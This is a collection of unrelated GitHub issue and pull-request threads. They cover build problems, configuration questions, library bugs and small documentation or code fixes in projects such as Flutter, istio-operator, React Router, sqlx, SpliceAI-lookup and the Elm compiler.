compile support centos?

Unfortunately I have no spare Pi to install CentOS but this are more or less the instructions I use: https://gist.github.com/dlime/63759eda46044be94c116435e2d999a5
Hope this helps


Make Material Icons font a package

Currently there are special logic that pulls the font file from https://storage.googleapis.com/flutter_infra/flutter/fonts as a tool artifact cache, and a special yaml entry lets the tool add it to the flx.
Use the generic logic used in Cupertino to host a new package on pub that user apps can add dependencies on to indirectly get the font instead. See #12559 for Cupertino. See #12160 for mechanism.
Remove special logic from tools.

We should probably leave the special logic for a while (maybe silently support it, maybe output a message telling people to transition, or maybe just automatically transition).

Ah yes, won't remove it cold turkey.
Also created #12573 (hope there's no dupe, didn't find any existing issues)

https://github.com/flutter/material_icons
I reused the same CC 4.0 license that was in the font file on the new project. Hope that's ok.

doh, someone already took the name material_icons on pub :S

Actually I'll have to make a breaking change, since the font asset 'names' will be different inside a dependent package vs direct asset dependencies. Will need to have a warning in the tool and make an announcement.

Why would the asset names be different?

cc @szakarias
It prepends the package name in the font name.
(For record: doing #12573 first)

I think this is done now?


DevNote 2.0

!Updates!

Extended structure of Engine
Included different libraries
Fixed build problems
Changed code style clang
Added new interfaces


IstioControlPlane sidecarInjector additionalEnvVars spec absence

Describe the bug
Hello community.
This might not be a bug, but rather a question.
I'm not able to find how to specify additional environment variables for istio sidecar in IstioControlPlane CR.
For example, I need to disable tcp probe rewriting by setting REWRITE_TCP_PROBES variable to false.
In older istio-operator Istio CRD there was a sidecarInjector.injectedContainerAdditionalEnvVars spec.
Please advise.
Steps to reproduce the issue:
Inspect IstioControlPlane CRD for additional sidecar proxy env vars.
Expected behavior
To have analogue for spec.sidecarInjector.injectedContainerAdditionalEnvVars in IstioControlPlane CDR
Additional context
istio-operator version v2.16.0
installed by helm chart 2.1.0

Hi,
I think something like this should work:
apiVersion: servicemesh.cisco.com/v1alpha1
kind: IstioControlPlane
metadata:
  name: icp-v116x
  namespace: istio-system
spec:
...
  meshConfig:
    defaultConfig:
      proxyMetadata:
        REWRITE_TCP_PROBES: "false"

Source: https://github.com/banzaicloud/istio-operator/blob/release-1.16/internal/assets/manifests/istio-discovery/resources/injection-template.yaml#L329-L332

@Laci21 Hi,
That worked, I can see now a REWRITE_TCP_PROBES: false in istio-proxy envs.
Envoy doesn't respect it anyway, but that's another story.
Thank you!

Hi,
Good to hear it works. I hope your other problem is resolved soon as well. Closing this one.

for those who interested, wrt REWRITE_TCP_PROBES variable, that was my misunderstanding.
it should be specified for istiod, not istio-proxy
so, the config for IstioControlPlane CR should look like:
istiod:
    deployment:
      env:
        - name: REWRITE_TCP_PROBES
          value: "false"


A Question : Why doesn't HashRouter support state?

Have readed the code of history, but can't understand why HashRouter doesn't support state. In BrowserRouter it's supported, and it seems that it can be done in HashRouter just as in BrowserRouter, and i can easily get it done by changing little code(As i have did).
I think there must be some reason, but i can't think it out.

I think we can support state in hash history, but only in browsers that also support pushState. It hadn't occurred to me that people might want to do this when I was working on history v4, but I'd love to discuss how we can refactor things to make it possible in some future version of the library.

Just wanted to add a comment. What I think can be supported is not state in HashRouter rather it would be to support hash routing in BrowserRouter.

@matthewrobb hash routing in BrowserRouter? not HashRouter?

@mjackson Thanks. I found it's supported in v3, but it need random key in url, and i changed some code to delete key in some browsers that support state API(auto use key when state API is not supported).
URL: Vifird history

@vifird Yeah, check this out: https://github.com/ReactTraining/history/issues/435#issuecomment-287853906


Added guidance on debugging on modern pages

Category

[ ] Content fix
[x] New article
Related issues: n/a

What's in this Pull Request?
Added guidance on debugging on modern pages

Great work on this. Thx.


Narrativ

Codecov Report

Merging #74 (5b201b2) into master (b3cdc14) will decrease coverage by 0.01%.
The diff coverage is 0.00%.

:mega: This organization is not using Codecov’s GitHub App Integration. We recommend you install it so Codecov can continue to function properly for your repositories. Learn more
@@            Coverage Diff            @@
##           master     #74      +/-   ##
=========================================
- Coverage    3.75%   3.74%   -0.01%
=========================================
  Files         149     149
  Lines        3118    3126       +8
  Branches      975     975
=========================================
  Hits          117     117
- Misses       2999    3007       +8
  Partials        2       2

Impacted Files
Coverage Δ

src/pages/article/[year]/[month]/[slug].page.tsx
0.00% <0.00%> (ø)

src/pages/index.page.tsx
0.00% <ø> (ø)

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


safe filenames

Describe the bug
This is raised by codeQL as described here: https://github.com/Alqor-UG/qlued/security/code-scanning/16

Closed in https://github.com/Alqor-UG/sqooler/commit/451c226b5040ec44d1512a0eb26ab6ddb9b08b80


class & span not being saved in HTML module

Description of bug
I tried to add a class to a h2 tag and also add a span within a p tag. When I saved the HTML Module it seemed to save correctly but when I went back into the HTML Module I couldn't see the h2 class or the span. When I inspected the code using DevTools the h2 class and the span were visible. However when I went into the HTML module again to edit the text and saved the code
Expected result
span and classes should be saved in the HTML Module
Screenshots

Error log
Paste the error log that is related to this issue.
Additional context
Add any other context about the bug that may be helpful for resolution.
Affected version

[ x] 9.4.1 - showed as latest version

Affected browser

[x ] Chrome
[ ] Firefox
[ ] Safari
[ ] Internet Explorer
[ ] Edge
Windows

This is not something we can fix in this repository @cmdigitaluk
This would depend on the actual html editor provider, if you are using the default CkEditor provider, the correct repository to create this issues would be at https://github.com/DNN-Connect/CKEditorProvider
Thanks.


Create basic files and test package

This gets the repo started with a package we know we'll want to move.
/assign @liggitt

Starting here.


Building as standalone gives issues regarding version

$ go get github.com/deepfence/SecretScanner go: downloading github.com/deepfence/SecretScanner v1.1.2 go: github.com/deepfence/SecretScanner upgrade => v1.1.2 go get<EMAIL_ADDRESS>requires<EMAIL_ADDRESS>invalid version: unknown revision<PHONE_NUMBER>00
What is the problem here? May I have the latest updated the documentation or can you fix the go.mod file?

Hello @wing-cheng ,
The recommended way to build is the following
./bootstrap.sh
docker build --rm=true --tag=deepfenceio/deepfence_secret_scanner:latest -f Dockerfile .

If you would like to build outside of docker, please follow these steps:
./bootstrap.sh
# Install dependencies: https://github.com/deepfence/SecretScanner/blob/master/Dockerfile#L4-L12
# Build: https://github.com/deepfence/SecretScanner/blob/master/Dockerfile#L16-L17

If the base OS is not alpine, equivalent dependencies in the target OS needs to be installed.

Hello, can u explain these 2 sentence? They dont quite make sense to me.
I just wanna build it as standalone with Go.
# Install dependencies: https://github.com/deepfence/SecretScanner/blob/master/Dockerfile#L4-L12
# Build: https://github.com/deepfence/SecretScanner/blob/master/Dockerfile#L16-L17

Some of the dependent golang libraries has system dependencies, so they need to be installed.

Hey, just tried the commands you said, still not getting the same error.
$ go get github.com/deepfence/SecretScanner go: downloading github.com/deepfence/SecretScanner v1.1.2 go: github.com/deepfence/SecretScanner upgrade => v1.1.2 go get<EMAIL_ADDRESS>requires<EMAIL_ADDRESS>invalid version: unknown revision<PHONE_NUMBER>00

Hey will this work for Windows 10 Pro? So I have to build it with gcc?

Hi, you have to run ./bootstrap.sh first.
./bootstrap.sh
make clean && make


Add backwards-compatible message passing for legacy apps

After #930 , apps with older versions of Connect won't be able to utilize these APIs. We can still add support for the legacy message passing behavior. It would be nice to do this - otherwise you couldn't login to older apps with the web wallet.

Is it worth the effort? How many older apps are still used and maintained?

Good question. I mean this is an issue if someone wants to log in to apps like Blocksurvey with the web wallet. I think one problem right now is that the injected BlockstackProvider variable is used by all Connect apps, and when it sees that, it tries to authenticate with the extension. And that doesn't work, now. A simpler solution is to remove the BlockstackProvider injected variable - it's been renamed to StacksProvider now, anyways. Removing the alias for BlockstackProvider will allow non-stacks-2 apps to go straight to app.blockstack.org.

This seems to address problems for the venn diagram of users that have both A) used apps like BlockSurvey who haven't upgraded to the new Stacks Wallet but rather still rely on app.blockstack.org, and B) have separately installed the new Stacks Wallet (either directly for via a second app).
My sense is that this is a small subset of rather savvy users who could otherwise just disable the extension while using apps like BlockSurvey. So we may want to keep this in the backlog until we hear otherwise.

Runkod, NoteRiot (for now), LandHo, ClarityTools ... are all impacted ...  I'm sure I can find more ...

Yes. They also have that same unfortunate Firefox bug. Ultimately updating their version of @stacks/connect is necessary to fix that, at least for transaction apps like ClarityTools.
I'm leaning towards not intercepting the auth request for apps that don't use transaction signing


Update ssml.cleanse to stop removing spaces before decimals

alexa-app was unexpectedly stripping spaces that occur before periods. Since periods are also decimals, this produced issues with the expected output of our bartender app's card text.
Things like:

Ingredients: 2 oz Tanqueray No. TEN Gin, .5 oz Heavy cream, .5 oz Fresh lemon juice, .5 oz Fresh lime juice, .75 oz Simple syrup (one part sugar, one part water), 3 dashes Orange flower water, 1 Fresh egg white, and Club soda

were showing up as:

Ingredients: 2 oz Tanqueray No. TEN Gin,.5 oz Heavy cream,.5 oz Fresh lemon juice,.5 oz Fresh lime juice,.75 oz Simple syrup (one part sugar, one part water), 3 dashes Orange flower water, 1 Fresh egg white, and Club soda

I think that this sort of cleansing should probably not be done at all, instead letting app developers to have control over their output, but this PR only removes the item that affected us. Perhaps the others will always be ideal to strip spaces for, but it's a hard thing to predict—after all, our use-case wasn't immediately obvious. :)

Apologies—I'm uncertain why the Travis CI build is failing.

The build failure is clearly about the changed behavior, so please run and fix the tests and maybe add more? LMK if you need help.

I just uploaded a change that passes the existing tests. Uncertain what the intention behind replacing speak/etc with a space was in the first place, so I don't know if this could potentially negatively impact something else.

btw, when I clicked on the travis-ci build bot earlier, it didn't provide me with any sort of failed test output like running npm run test does; it just had some generic failure messages about environment variables or something.

umm.. a possible? point? might be that SSML is intended for the voice output, not the card output.  Or is this some sort of auto-generated card, not a requested card?
In any case, I think that Alexa takes hints from the output punctuation, so not sure why we're pulling things out of it ..

The way the change is implemented right now needs additional tests that would fail with the old code, please. Otherwise it's easy to reintroduce a regression.
When I code reviewed this first the output changes in tests made sense, now they are back to the original version, which is probably not what was intended?

@ericblade The cleanse method is run to “remove all SSML to keep the card clean,” so even though this is in a file named to-ssml, it's really only meant to be used when converting from SSML.

@dblock Looking into...

When I code reviewed this first the output changes in tests made sense, now they are back to the original version, which is probably not what was intended?

It seems to me like the expectations behind all existing tests are still valid, so I'm not sure what you mean. I'm still seeing the expected output that I made the change for (which broke the tests), and removing the space that was added while stripping the SSML tags un-broke the tests.
I've added a test to prevent regression.
Thanks for your patience and explanations in this matter. I haven't done much TDD, so the thought to add a test to ensure that my change stays in place didn't occur to me.

Looks good, thanks. Merging.


How to generate the synthetic data

Hi, thanks you for releasing the code
Could you please share source code / the way that you use to generate the synthetic data. Many thanks

Hi! Apologies for the late reply. The notification email went into spam.
I have created a simple notebook here to generate a single example synthetic video. It can be extended to generate lots of examples with randomized parameters. Hope this helps.

That's great, thank you a lot


Voiceover and Voice Control on iPad iOS13.6.x Currency input component

Voiceover
It seems there is a bug in Voiceover for iOS 13.6 (issue continues on iOS 13.7) on iPads (not on iPhones) which means you can’t edit a currency field which has been pre-filled by tapping on the input (tapping on the label, or using the next/prev keyboard input navigation works).
iPad running iOS12.4 works as expected.
iPhones running iOS13.6 works as expected.
Empty currency fields are working as expected, but pre-filled ones are not editable.
The field is announced along with the contents and instructions to "double-tap to edit" but doing so just repeats the label.
Voice control
The above seems to also be the case when using voice control to access the fields. (seems fixed on iPad OS14)
To test
Test cases https://accessibility-training.herokuapp.com/examples/currency
A potential fix seems to be to add
.hmrc-currency-input__unit {
    pointer-events: none;
}

which allows pass-through on the £ symbol.
Audit board to track testing of fix: https://github.com/hmrc/accessibility-audits-external/projects/29

Fix added to HMRC Frontend

Do you know if this is still an issue with iOS 14?
Sent from my iPhone

On 8 Oct 2020, at 9:41 am, Adam Liptrot<EMAIL_ADDRESS>wrote:

Closed #42.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub, or unsubscribe.

@chrismoorembe Yes on iPad it is still an issue for Voiceover on iOS 14.0.1


onFocus callback always returns y:0

Hey all! I've been migrating an app over to your new hooks library, and I've ran into a slight issue - the onFocus callback seems to return y:0 regardless of the elements position. The Dom and component structure are identical to pre-migration, the only difference being the provider. The structure itself is a bunch of focusable rows on top of each other that all share the same parent component. CSS top is calculating correctly, just not y.
Anyway, my question is - are we now calculating x and y differently from the previous HOC library? Has anyone else ran into this problem?
Cheers

Hi!
We haven't changed the way of how the coordinates are calculated.
Keep in mind though, that these coordinates are calculated relatively to the nearest DOM parent, and not to the nearest "focusable" parent component.
My guess is that you might have some kind of DOM wrapper around the element that you assign the "ref" to, this might cause it relative position to be always 0.
Can you provide a code snippet of how your parent + child component looks like?

Thanks so much for your quick reply to this - good to know the calculations haven't changed. Anyway, the problem component is below...
-hook
const { ref } = useFocusable({
    isFocusBoundary: true,
    focusKey
});

-structure

        <FocusContext.Provider value={focusKey}>
          <motion.div
            ref={ref}
          >
            {condition1 && (
              <FocusableElement
                focusKey="FOCUS-KEY-1"
                onFocus={onFocusRow}
              />
            )}
            {condition2 && (
              <FocusableElement
                focusKey="FOCUS-KEY-2"
                onFocus={onFocusRow}
              />
            )}
            {condition3 && (
              <FocusableElement
                focusKey="FOCUS-KEY-3"
                onFocus={onFocusRow}
              />
            )}
            {condition4 && (
              <FocusableElement
                focusKey="FOCUS-KEY-4"
                onFocus={onFocusRow}
              />
            )}
          </motion.div>
        </FocusContext.Provider>

-callback
const onFocusRow = (item) => {
    console.log(item);
};

It's probably worth pointing out this is nested 3 components deep and has quite a few children, too. I've tried restructuring this by adding a buffer div between ref and focusable elements, and also by playing around with the position of the provider and ref div, but I keep  getting 0 back.
Any ideas?
Thanks for your help with this.

So every FocusableElement is rendered inside a motion.div. How do you assign a ref inside a FocusableElement? It has to be assigned to a top level DOM element, so it will calculate its own coordinate relative to this motion.div

I'm not sure I understand - if I place the provider and ref div top level like this...

<FocusContext.Provider value={focusKey}>

            <motion.div>
              {condition && (
                <CollectionFocusable
                ....

y is still 0. Is that what you mean?

Ok, let me phrase it differently.

y of what exactly are you trying to measure? y coordinate of the row when it gets focused?
What is inside CollectionFocusable? How is the ref assigned inside that component?

Ah! Sorry I misread your previous question, and yes you're right. Turns out the ref in CollectionFocusable wasn't top level, so I've adjusted it and it's now working fine. Jjust a bit of misunderstanding on my behalf. Thank you so much for your help with this

You are welcome. Glad it works 👍


Remove GCC and related packages

Go can build/test on it's own without GCC.
This frees up around 80MB of the image size.

:crossed_fingers:


update to v0.28.0

Checklist before submitting

[x] Did you read the contributor guide?
[ ] Did you update any affected documentation?
[ ] Did you write any tests to validate this change?

Description
Fixes # (issue).
Review process to land

All tests and other checks must succeed.
At least one maintainer must review and approve.
If any  maintainer requests changes, they must be addressed.

locally not getting failure due to dependencies as observed in the required_tests so merging it.


Connection does not close in 0.5.13

I am running tests and at beginning of test I have line like this.
let pool = PgPoolOptions::new()
        .max_connections(5)
        .connect(&url)
        .await
        .unwrap()
// clean up old database

And at the end of each test I have a line like this
pool.close().await;

First test runs well, but second tests onwards throw error that there is still connection when it tries to clean up old database
Everything runs well with 0.5.10.
This might be related to the issue: https://github.com/launchbadge/sqlx/pull/1776.

I can confirm. We have a lot of tests, all of which runs a function to create a connection pool. After running cargo update which bumped sqlx (and sqlx-core) to 0.5.13, the number of DB connections started growing while churning through the tests, leading to test failures when we hit the connection limit.
Pinning the sqlx-core version to 0.5.11 fixes that.

Related to #1824?


Update hdinsight-hadoop-use-data-lake-store.md

@omidm1 : Thanks for your contribution! The author, @mumian, has been notified to review your proposed change.

#sign-off

@omidm1: I'm sorry - only the author of this article, @mumian, can sign off on your changes. But we do have an exception process - if you are on the Microsoft content or product team for this product area, you can ask the PR review team to review and merge it by sending mail to the techdocprs alias.

#sign-off


Pangolin ERROR: Pangolin was unable to compute scores for this variant

I've been encountering an error while using SpliceAI-lookup, which states: 'Pangolin ERROR: Pangolin was unable to compute scores for this variant.' Despite this error, the program is still able to produce results; however, the results obtained from precomputed scores are very different from those generated by running SpliceAI-lookup. This might actually be an issue with the site/tool so you might want to take a look. This problem has been occurring since last week.

Screenshot:

Thanks, yes - Pangolin scores were broken on hg19. This is now fixed.
The difference between Illumina precomputed scores vs. the latest computed scores was sometimes due to the precomputed scores having been created using Gencode v24, while the latest scores are computed based on transcript sequences from Gencode v43.
The use of precomputed scores were intended to speed up lookups but features added to the site since then have made them more of a liability and a source of confusion. Precomputed scores don't provide the raw score columns, non-coding transcripts, and other features, so I've now removed them from the site.

Thanks for resolving the issue. It was great to have the choice of using precomputed scores. Yeah, the new features might cause some confusion at first, but people will get the hang of it in no time.

When/why would you want to use the precomputed scores?

We use a file with precomputed scores for annotating VCF files in our pipeline, but when I use the website I almost always run the SpliceAI-lookup. I lookup precomputed scores on the website only when SpliceAI-lookup doesn't work or when there is a difference between the generated scores and my annotations.

ok, that makes sense.
re: "I lookup precomputed scores on the website only when SpliceAI-lookup doesn't work"
SpliceAI-lookup should work for all variants that have precomputed scores. If you have any examples of variants where this is not the case please create another bug report.


Added new e-book

Added new e-book Think Stats-Exploratory Data Analysis in Python.

Hey @mashiyathussain2 :wave:
This looks good. Thanks for the contribution! :)


fix: use the correct workspace based on namespace for Github redirect

Fixes

https://issues.redhat.com/browse/KFLUXBUGS-1636
Description

Type of change

[ ] Feature
[ ] Bugfix
[ ] Code style update (formatting, renaming)
[ ] Refactoring (no functional changes, no api changes)
[ ] Build related changes
[ ] Documentation content changes
[ ] Other (please describe):

Screen shots / Gifs for design review

How to test or reproduce?

Browser conformance:

[ ] Chrome
[ ] Firefox
[ ] Safari
[ ] Edge

[test]

/retest

needs tests to suffice codecov requirement

/retest

/retest

/retest

/retest

/retest

/retest

/retest

/retest


INet URL fails to parse ipv6 addresses

I was trying to use httpclient with an ipv6 address and discovered that the URL parser do not works with ipv6 (http://[::ffff:7f00:1]:8080/)  (even chromium do not work with it but firefox works).
When URL try to parse "http://[::ffff:7f00:1]:8080/" it expects the first ":" after the"//" to be the port separator but with ipv6 it's not.

Fixed by #1341.


✨ account_id and name on sequences

#516  👈
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @RTLS and the rest of your teammates on  Graphite


The sign '-' display differently in different positions

Please consider making a Pull Request if you are capable of doing so.
App Version:
2020.1.4 Standard Edition (2021.11.14 update)
Affected Device(s):
Redmi 9 with MIUI 12.5.3 (Android 11.0)
Describe the bug

To Reproduce
Steps to reproduce the behavior:

Input '-' after character(s) that is(are) not English (or ASCII char).

Expected behavior
'-' is displayed in the same size.

That's the internal TextView behavior, so I can't fix that 😔


Add rust location to PATH inside cron script

Summary
Details and comments

Ah, sorry about that I had to make this change for the terra benchmarks a while ago, but I didn't think to mention it for this (I forgot you install terra from source).


Implementing SHA3-256 based Binary Merklization

Implement SHA3-256 -bit variant
Write test cases for asserting that SHA3-256 works as expected
Extend binary Merklization to use SHA3-256 as 2-to-1 hash function choice
Extend benchmarking of binary merklization, along with that add relevant benchmark results

Results
Binary Merklization

Leaf count
Accelerator
Execution Time

2^25
Tesla V100-SXM2-16GB
16.185790 ms

2 ^ 25
Intel(R) Iris(R) Xe MAX Graphics
707.377671 ms

2 ^ 25
Intel(R) Xeon(R) Platinum 8358 CPU @ 2.60GHz [ 64 Cores ]
234.548106 ms

See https://github.com/itzmeanjan/merklize-sha/tree/8ca89c16c2038a1da6a75f1568e87d4e48b74379/results/sha3-256

Also merged SHA3-{224, 384, 512} implementations


round/1 behavior

Is it the intended behavior to round up here?
?- X is round(98.135).
   X = 99.

Thanks, looks good now. I imagine the extra logic there was to support some ISO quirks for negative numbers or something, apologies if this brings that back.

Logtalk tests for all those sorts if things and shows no problem.
On Mon, 9 Dec 2024, 03:56 guregu, @.***> wrote:

Thanks, looks good now. I imagine the extra logic there was to support
some ISO quirks for negative numbers or something, apologies if this brings
that back.
—
Reply to this email directly, view it on GitHub
https://github.com/trealla-prolog/trealla/issues/641#issuecomment-2526291794,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AFNKSEUP5L5HCIEAMPWABDT2ESB5LAVCNFSM6AAAAABTG3DJVSVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDKMRWGI4TCNZZGQ
.
You are receiving this because you commented.Message ID:
@.***>


[DISCOVERY PHP-CPG] Different CPG and discovery rule not working anymore on pattern 76

Many PHP discovery rules that were working fine on 01/02/2023 are not working anymore.
Consider for instance pattern instance 1_instance_76_function_variable
as far as I can see nothing changed for that pattern instance since 01/02/2023
however some changes were done on

(CH1) PHP-CPG (newer version)
(CH2) joern (newer version)
(CH3) patch for the discovery rule (cf. #42)

I believe the problem is on (CH1)
the CPG files generated for the pattern instance are different (cf. bin files in the uploaded archive):

cpg_2023-02-01-16-52-44_PHP_1_instance_76_function_variable.bin
cpg_2023-03-23-15-35-16_PHP_1_instance_76_function_variable.bin
CPGs_1_instance_76_function_variable.zip

By running joern in the console:

the discovery rule works fine when running on CPG cpg_2023-02-01-16-52-44_PHP_1_instance_76_function_variable.bin (also the patched one)
it does not work on the newer CPG

@mal-tee : can you please have a look? Let me know if more detail are needed

A quick view into your .zip it seems the 2023 03 23 has an reported error:
,,,,/tp-framework/testability_patterns/PHP/76_function_variable/1_instance_76_function_variable/1_instance_76_function_variable.sc,ERROR_DISCOVERY. module 'config' has no attribute 'PATCHED_PREFIX'

I am not sure that this is an issue with CH1 as I am not aware of any PATCHED_PREFIX config being used in the CPG.
@mal-tee ?

Sorry for the missup in that csv result. I think that not all the code fixing #48 was used in the docker container. I re-build the docker container from scratch and rerun. Please consider this new zip archive:
CPGs_1_instance_76_function_variable-NEW.zip
However the problem remain (indeed the CPG generated are identical to those in the original zip archive of this issue).  Notice that the test I did included using joern and PHP-CPG on their own without the tpframework.  This is why I was pointing to (CH1).
Can you please re-check?

the node in question in the recent cpg:
joern> cpg.call("INIT_DYNAMIC_CALL").l
res2: List[Call] = List(
  Call(
    id -><PHONE_NUMBER>03043120L,
    argumentIndex -> -1,
    argumentName -> None,
    code -> "INIT_DYNAMIC_CALL 1 CV($func)",
    columnNumber -> None,
    dispatchType -> "STATIC_DISPATCH",
    dynamicTypeHintFullName -> ArraySeq(),
    lineNumber -> Some(value = 9),
    methodFullName -> "<empty>",
    name -> "INIT_DYNAMIC_CALL",
    order -> 4,
    signature -> "",
    typeFullName -> "<empty>"
  )
)

the query:
cpg.call("INIT_DYNAMIC_CALL").code(".*false.*").location.toJson

See my commit comment from the review:

I am not sure if the discovery rules makes sense. I don't know
where the false comes from. Wouldn't it be smarter to check for sth. like
.argument.code("CV")?

I still don't know what the false means in this rule. What was the intention here? Even in the old opcode dump there is no false there. https://github.com/testable-eu/sast-testability-patterns/blob/7c2f8595c1c33c95e1a0ba755719d48d6144f5ae/PHP/76_function_variable/1_instance_76_function_variable/1_instance_76_function_variable.bash#L12
Maybe this made sense in the old custom fork of the php-cpg generator? This is the reason why it doesn't match anymore.

I've checked the old cpg, the node there dumps internal PHP data (name: String, isRef: Bool, isTmp:Bool)about the CV.

code -> "INIT_DYNAMIC_CALL 1 Variable(func,false,false)",

So effectively the rule requires the variable to not be a reference or not a temp var. Why? This doesn't make a lot of sense to me.
In the current php-cpg we don't expose this internal information. Why did your custom version do this?
To fix this, I propose to change the discovery rule like I proposed in the commit message. Otherwise, if there is a reason to check for false, we could see how to model this in the recent version php-cpg.

Are there others?

I don't think so. Sorry for that. :D


fix: 1610 - close button as footer bar

Now leverage the Fabric footer hook to simplify our panel's footer area

:tada: This PR is included in version 0.322.1 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Json.encode and Json.decode not roundtripping

I don't know whether this really is a problem, but at least it might be something to watch out for.
It so happens that Json.decode (Json.encode (Type "_Tuple0")) :: Maybe Type is not Type "_Tuple0", but instead App (Type "_Tuple0") [].
Is this expected/okay?
Is there a desired invariant of the compiler that in App type args the type should always be a type constructor and the args never the empty list? (If so, this would be violated here.)
If unification is applied at some point, will Type "_Tuple0" be considered equal to App (Type "_Tuple0") []?
(The above non-roundtripping property came up in https://github.com/elm-lang/elm-compiler/issues/1072, but I'm wondering whether it might have bad implications elsewhere as well.)

The compiler never works with JSON for build artifacts so I think this won't mess with anything.
That said, I think this is a bug. Whenever there is a Type with no arguments it is not put inside an App so this would be bad if this round trip was ever taken.

You know this, but just for the record:
Well, the roundtrip kind of is taken at the moment, if only for documentation processing. That's what caused this issue. In these lines, documentation.json is read and parsed. Any, or maybe only some, occurrences of () in there (which most likely were put there originally via some Json.encode (Type "_Tuple0")) are getting Json.decoded into App (Type "_Tuple0") [].
If this were fixed, i.e., Json.decode "()" were to give Type "_Tuple0" instead of App (Type "_Tuple0") [] (and also otherwise the invariant that in App _ args the args is never the empty list were definitely maintained), then the lines I added in https://github.com/elm-lang/elm-compiler/pull/1075 could be dropped again.

Let's get a SSCCE for this. There are many representations of Type in the compiler and it's not clear what's going on here. Maybe get a Haskell file that I can call runhaskell on in my compiler repo.

SSCCE (different behavior in 0.17 than above, but still wrong) here: https://github.com/elm-lang/elm-compiler/issues/1378


fix: ensure all tests succeed out of the box

Description
After creating a Very Good Flutter Plugin not all test succeed out of the box.
Steps To Reproduce

Create a Very Good Flutter Plugin:

very_good create flutter_plugin --platforms android sample

Run recursive tests on the created Very Good Fluter Plugin:

very_good test -r

A test will fail:

Expected: 'Check platform name: "Hello World"'
  Actual: 'Check platform name: "MacOS"'
   Which: is different.
          Expected: ... rm name: "Hello Worl ...
            Actual: ... rm name: "MacOS"
                                  ^
           Differ at offset 22

package:matcher                                     expect
package:flutter_test/src/widget_tester.dart 458:18  expect
test/src/check_platform_name_test.dart 47:7         main.<fn>.<fn>

CheckPlatformName show correct description /Users/alestiago/Developer/workspace/oss/issues/sample/sample/example/actions/check_platform_name/test/src/check_platform_name_test.dart (FAILED)
00:05 +3 -1: Some tests failed.
Failing Tests:
 - test/src/check_platform_name_test.dart
        - [FAILED] CheckPlatformName show correct description

Expected Behavior
All tests should succeed out of the box.
Additional Context

https://github.com/VeryGoodOpenSource/very_good_flutter_plugin/blob/a4a3cb4fe4f8614e1443519161abbffdd366f001/src/my_plugin/my_plugin/example/actions/check_platform_name/test/src/check_platform_name_test.dart#L49

Closed by #155


Improved CONTRIBUTING.md

Thanks for the PR, and congrats on your first contribution! 🎉 Everything looks great.
For context: the original nginx instructions had the certificate's extension as .crt because we used to use nginx-proxy, which required it. However, we now use https-portal which automatically generates certificates using Let's Encrypt, so we don't have that restriction anymore.


Remove updateAccountsCreationSettings/listAccountsCreationSettings operations

Remove these 2 operations because we will leverage global policy to
allow enduser to enable/disable Cognitive Services accounts creation in
future. Not in our RP level anymore.
We have not released SDK or PS etc. so we won't change version this
time.
This checklist is used to make sure that common issues in a pull request are addressed. This will expedite the process of getting your pull request merged and avoid extra work on your part to fix issues discovered during the review process.
PR information

[x] The title of the PR is clear and informative.
[x] There are a small number of commits, each of which have an informative message. This means that previously merged commits do not appear in the history of the PR. For information on cleaning up the commits in your pull request, see this page.
[x] Except for special cases involving multiple contributors, the PR is started from a fork of the main repository, not a branch.
[x] If applicable, the PR references the bug/issue that it fixes.
[x] Swagger files are correctly named (e.g. the api-version in the path should match the api-version in the spec).

Quality of Swagger

[x] I have read the contribution guidelines.
[x] My spec meets the review criteria:

[x] The spec conforms to the Swagger 2.0 specification.
[x] The spec follows the guidelines described in the Swagger checklist document.
[x] Validation tools were run on swagger spec(s) and have all been fixed in this PR.

No modification for Python

No modification for Ruby

No modification for NodeJS


[WIP] Support Files in OpenAPI Spec

Changes

Tests

[ ] make test passing
[ ] make fmt applied
[ ] relevant integration tests applied

Codecov Report
Patch coverage: 30.76% and project coverage change: -0.74% :warning:

Comparison is base (6e78f49) 18.73% compared to head (3bd5531) 17.99%.
Report is 3 commits behind head on main.

Additional details and impacted files
@@            Coverage Diff             @@
##             main     #572      +/-   ##
==========================================
- Coverage   18.73%   17.99%   -0.74%
==========================================
  Files          85       85
  Lines        9405     9819     +414
==========================================
+ Hits         1762     1767       +5
- Misses       7489     7896     +407
- Partials      154      156       +2

Files Changed
Coverage Δ

openapi/code/entity.go
28.40% <ø> (ø)

openapi/code/method.go
17.74% <ø> (ø)

openapi/model.go
5.12% <0.00%> (-0.07%)
:arrow_down:

openapi/code/service.go
45.54% <42.85%> (-0.82%)
:arrow_down:

openapi/code/package.go
58.20% <100.00%> (+0.20%)
:arrow_up:

... and 25 files with indirect coverage changes

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.

Follow-ups 1 & 3 are addressed in this PR. 2 is tracked on our backlog and I'll pick it up next week.


Added CIFAR100 to built-in datasets, issue #86.

@vdumoulin

Can you also add unit tests like here?

If my comments are addressed and the Scrutinizer errors are fixed, we'll be good to merge (Travis is under maintenance, I'll manually restart the tests if need be).

The current test failure is caused by the dataset not being present in the Travis build bot. You can solve it by adding a block of code similar to this code block right below in .travis.yml.
Also, in order to prevent the tests from failing if the dataset isn't present, you can add a skip_if_not_available statement at the beginning, like here.

There are still PEP8 errors to fix, but the Travis failures look unrelated to your PR. I would merge your PR as soon as you fix the PEP8 errors and I'll deal with the unrelated test failures afterwards if need be.

There's been a slight change in how converters work and how converters and downloaders register to their respective module:
http://fuel.readthedocs.org/en/latest/new_dataset.html#download-code
http://fuel.readthedocs.org/en/latest/new_dataset.html#conversion-code

I've made a new (cleaner) PR.

FYI there's never really a need to create a new PR, you can just push to
the same remote branch with --force.
On Tue, May 19, 2015 at 1:24 PM, julianser<EMAIL_ADDRESS>wrote:

I've made a new (cleaner) PR.
—
Reply to this email directly or view it on GitHub
https://github.com/mila-udem/fuel/pull/105#issuecomment-103601622.


IE & Edge do not support region-fragment

Document the fact that IE & Edge do not support region-fragment.

Thanks!


DO NOT MERGE. Just a test pr to test github_pr tool

Just to test github_pr tool . Will delete this PR once I am done with my testing.

Hey @kalyan-nidumolu -- can this be closed yet or are you still experimenting?

Hi Roman.. Can I keep it for a couple more days .. Am still making a few changes. Will close it once they are done.

No. longer needed for testing.


[stable/sumologic-fluentd] Add support for DaemonSet annotations (#17…

Is this a new chart
No
